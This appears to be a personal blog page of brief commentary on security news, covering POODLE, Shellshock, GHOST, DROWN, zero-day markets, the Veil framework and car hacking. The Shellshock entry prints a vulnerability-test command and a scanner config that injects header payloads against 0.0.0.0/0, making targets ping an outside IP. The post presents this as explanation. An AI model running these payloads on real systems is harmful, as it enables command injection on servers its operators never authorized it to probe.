Steal passwords from locked-screen computers

'Stupid simple' attack can steal credentials from locked Windows and Mac computers - no 0-day used!

Car Thieves Can Unlock 100 Million Volkswagens With A Simple Wireless Hack

Next time when you leave your car in a parking lot, make sure you don't leave your valuables in it, especially if it's a Volkswagen. What's more worrisome?

A 0-day that impacts ALL Windows Versions

A Russian website is selling a 0-day, for a meager $ 90K. This impacts a potential 1.5 B Windows users !

There are 2 videos to provide a POC.

Details Here

Veil Framework – Antivirus Evasion Framework

As if there weren't already enough frameworks to help the bad guys get organized.

The Veil-Framework is a collection of red team security tools that implement various attack methods focused on antivirus evasion and evading detection.

Details here.

DROWN Attack

Yet another attack on SSL. This time on ver-2!
More here.

Introducing Zerodium

As its name suggests, it specializes in acquiring zero-day exploits. And then selling them off.

The start-up is backed by Vupen, the French vulnerability dealer that has often drawn controversy for brokering exploits to the highest bidder

More Info Here ;  Website Here

Avionics Security

There have been a few news posts around technical security of the systems on an aircraft. I agree with Chris Roberts was even detained and investigated by the FBI, and later banned from United Airlines. There are stories about his tweet, which sounds more like a joke, and there are stories about him being able to hack the systems and force the plan to fly sideways.

Leaving aside the conflicting news articles, I agree with Bruce Schneier.

The real issue is that the avionics and the entertainment system are on the same network. That's an even stupider thing to do.

Apple, Linux (not Windows) most vulnerable OS in 2014

My confidence level in this article is small - it says:

A whopping average of 19 security vulnerabilities were reported every day in 2014. The top spot for vulnerabilities in operating systems no longer goes to Microsoft Windows; in fact, Windows isn't even listed in the top three. Instead, the most vulnerable OS was Apple Mac OS X, followed by Apple iOS and Linux kernel. 

Kaspersky Hack - Duqu 2.0

I am not sure what is the big fuss around the hack. Anyone sane reading the details of the attack, would immediately appreciate the responsible disclosure by the company. I fully agree with them, when they say:

They say there are two kinds of companies, those who know they have been hacked, and those who don't know they have been hacked.

Another article that speaks a bit more about what happened.

Google for VA, Security Scanning

Commendable move by Google. Helping website owners find security flaws in their own websites.

What is a 'sophisticated attack?'

What is common to majority of the big names getting hacked recently? They all claim they were victims of a "sophisticated attack".

Here is an article that breaks down this PR's default statement.

The truth, however, is that these attacks seem sophisticated only when you compare them to the unsophisticated security programs that fail to defend against them.

It always sounds like an attempt to forgive the victim for having insufficient protection, detection and reaction capabilities in place, both technical and nontechnical.

Introducing GHOST vulnerability

A flaw within the "gethostbyname function". Hence the name. Discovery is attributed to Qualys labs.

Ironically, the flaw itself was fixed back in 2013. However, it wasn’t recognized as a security threat at the time and so most stable and long-term support distributions were left un-patched.

Why this isn't too serious?

Out of band security patch from MS

A zero-day bug being patched, for all Windows servers connected to domains - so organizations need to rush here

POODLE Vulnerability

Update 14-Dec-14:
Poodle vulnerability is back. It has been discovered that this same vulnerability applies to a certain versions of TLS as well.


Update 15-Oct-14:
As if the system admins weren't already sick and tired of patching (Heartbleed and then Shellshock), here comes another vulnerability.

It is now a trend to give your discovered vulnerability a fancy name, and so Google (the discoverer) calls it POODLE, which stands for: Padding Oracle On Downgraded Legacy Encryption.

And no, this isn't even half as bad as Heartbleed or Shellshock:

1. The vulnerability is present in SSL v3 and earlier.
2. This vulnerability does not put the servers at a risk, but the clients.
3. This vulnerability's prerequisite is for the attacker to have network level access to the victim. So, either a MITM, sniffing wifi connections, or being NSA with hooks in the data-centers

Troy Hunt explains it here. Errata explains the risk and myths. Another simple article for dummies.

Shellshock Bash bug

Newest contender in the market for being the biggest vulnerability discovered. Introduction to it:

What assets are vulnerable?

Bash shells – in other words all assets running unix/linux Operating Systems. This includes servers, networking devices, firewalls, appliance boxes

Which versions of Bash are affected?

Everything through version 4.3. Which means about 25 years’ worth of versions!!

When was this publicly announced?

On Wed 24th around noon (GMT).

This means all the bad guys out there, have the code to attack since then. The longer we wait to defend ourselves, the more likelihood we will become a victim

Mitigating Controls:

simply to disable any CGI functionality that makes calls to a shell and indeed some are recommending this. In many cases though, that’s going to be a seriously breaking change and at the very least, one that going to require some extensive testing to ensure it doesn’t cause immediate problems  

How to check if my asset is vulnerable?

There’s a very simple test - which is just running this command within your shell:

env X="() { :;} ; echo busted" /bin/sh -c "echo stuff"

If you get “busted” echo’d back out and you’ve successfully exploited the bug.

Exploit’s POC?

target = 0.0.0.0/0

port = 80

banners = true

http-user-agent = shellshock-scan

http-header = Cookie:() { :; }; ping -c 3 209.126.230.74   *

http-header = Host:() { :; }; ping -c 3 209.126.230.74     *  

http-header = Referer:() { :; }; ping -c 3 209.126.230.74  *

*  Essentially asking the vulnerable assets to ping the attacker. This is what a white-hat (non-malicious) attacker would do. A bad-guy would code in something much more sinister

Hacking traffic lights

Looks like they forgot to keep IT Security in mind.

Google Project Zero

Google's project tries to put an end to the wide impact of zero-day exploits. Scope has no bounds, and all the findings will be responsibly disclosed to the public. Sounds very ambitious!!

London - Latest Victim of Car Hacking

Thieves are hacking into these on-board computers using cell-phone-sized electronic devices originally designed for locksmiths.

Full Story 

ISC2's Vulnerability

This is plain embarrassing, organizations like (ISC)2 do not take basic security measures.

Microsoft warns Internet Explorer 6 to 11 vulnerable to zero-day spotted in the wild

As expected we now have MS vulnerabilities that will not be patched for the XP users. So, potentially this means a lottery for the bad guys, who will have unlimited access to potentially half a billion workstations. Sure, it is possible to have mitigating controls, to avoid this vulnerability. The question is how many of the users would bother to?!